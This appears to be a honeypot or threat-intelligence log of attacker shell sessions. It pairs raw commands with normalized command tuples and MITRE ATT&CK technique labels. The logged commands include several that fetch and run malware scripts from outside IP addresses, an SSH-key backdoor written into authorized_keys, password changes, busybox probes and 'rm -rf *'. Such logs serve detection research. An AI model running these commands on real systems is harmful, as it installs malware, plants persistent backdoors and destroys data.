('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RCERZ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')

T1222 File and Directory Permissions Modification


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')

T1016 System Network Configuration Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FTTMP


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EVTJI


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EWCLC

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm', 'echo | chpasswd | bash', 'echo >')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CJTKN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YUVDU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TSGHN


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')

T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AJJWH


cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://136.144.41.9/sora.sh; curl -O http://136.144.41.9/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 136.144.41.9 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 136.144.41.9; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 136.144.41.9 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *

('sh', 'cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ACNNX

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JZUQX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LFNOA


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UHXZC


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


cat /bin/sh || cat /bin/busybox || cat /bin/bash

>/tmp/.a && cd /tmp; >/dev/.a && cd /dev;wget http://2.58.149.116/spc -O- >.f;chmod 777 .f;./.f scan.wget.spc

cat $SHELL || while read i; do echo $i; done < $SHELL || dd if=$SHELL bs=22 count=1

>/var/run/.l && cd /var/run/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

>/var/tmp/.l && cd /var/tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

>/dev/netslink/.l && cd /dev/netslink/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

>/dev/shm/.l && cd /dev/shm/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

wget http://2.58.149.116/spc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.spc; curl http://2.58.149.116/spc > ntpclient; chmod 777 ntpclient; ./ntpclient test.curl.spc

wget http://2.58.149.116/ssh/spc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.spc

wget http://2.58.149.116/ssh/ -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.

wget http://2.58.149.116/ssh/m68k -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.m68k

('cat || cat /bin/busybox || cat', '> && cd ; > && cd ; wget -O- > ; chmod ; ./', 'echo', 'cat $SHELL || while ; do echo $i ; done < $SHELL || dd if', 'cat', 'cat', 'cp && > && echo -e && chmod ; echo -e', 'cd ; wget -O- > ; ./ ; >', 'cd ; wget -O- > ; ./ ; > ; echo', 'cat', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', 'wget > ; curl > ; ftpget >', 'wget --help > && echo -e ; curl --help > && echo -e ; ftpget --help > && echo -e ; echo -e', 'wget -O- > ; chmod ; ./ ; curl > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- | sh ; curl | sh', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


